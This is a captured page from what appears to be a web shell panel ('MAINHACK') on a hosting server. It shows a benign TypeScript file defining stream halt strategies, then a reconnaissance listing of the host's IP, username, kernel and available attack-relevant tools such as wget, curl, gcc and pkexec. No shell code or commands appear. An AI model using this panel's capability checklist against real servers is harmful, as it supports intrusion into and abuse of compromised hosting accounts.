[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: StreamHaltStrategy.ts
/** * @since 2.0.0 */ import * as internal from "./internal/stream/haltStrategy.js" /** * @since 2.0.0 * @category models */ export type HaltStrategy = Left | Right | Both | Either /** * @since 2.0.0 * @category models */ export type HaltStrategyInput = HaltStrategy | "left" | "right" | "both" | "either" /** * @since 2.0.0 * @category models */ export interface Left { readonly _tag: "Left" } /** * @since 2.0.0 * @category models */ export interface Right { readonly _tag: "Right" } /** * @since 2.0.0 * @category models */ export interface Both { readonly _tag: "Both" } /** * @since 2.0.0 * @category models */ export interface Either { readonly _tag: "Either" } /** * @since 2.0.0 * @category constructors */ export const Left: HaltStrategy = internal.Left /** * @since 2.0.0 * @category constructors */ export const Right: HaltStrategy = internal.Right /** * @since 2.0.0 * @category constructors */ export const Both: HaltStrategy = internal.Both /** * @since 2.0.0 * @category constructors */ export const Either: HaltStrategy = internal.Either /** * @since 2.0.0 * @category constructors */ export const fromInput: (input: HaltStrategyInput) => HaltStrategy = internal.fromInput /** * @since 2.0.0 * @category refinements */ export const isLeft: (self: HaltStrategy) => self is Left = internal.isLeft /** * @since 2.0.0 * @category refinements */ export const isRight: (self: HaltStrategy) => self is Right = internal.isRight /** * @since 2.0.0 * @category refinements */ export const isBoth: (self: HaltStrategy) => self is Both = internal.isBoth /** * @since 2.0.0 * @category refinements */ export const isEither: (self: HaltStrategy) => self is Either = internal.isEither /** * Folds over the specified `HaltStrategy` using the provided case functions. * * @since 2.0.0 * @category folding */ export const match: { /** * Folds over the specified `HaltStrategy` using the provided case functions. * * @since 2.0.0 * @category folding */ <Z>( options: { readonly onLeft: () => Z readonly onRight: () => Z readonly onBoth: () => Z readonly onEither: () => Z } ): (self: HaltStrategy) => Z /** * Folds over the specified `HaltStrategy` using the provided case functions. * * @since 2.0.0 * @category folding */ <Z>( self: HaltStrategy, options: { readonly onLeft: () => Z readonly onRight: () => Z readonly onBoth: () => Z readonly onEither: () => Z } ): Z } = internal.match
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344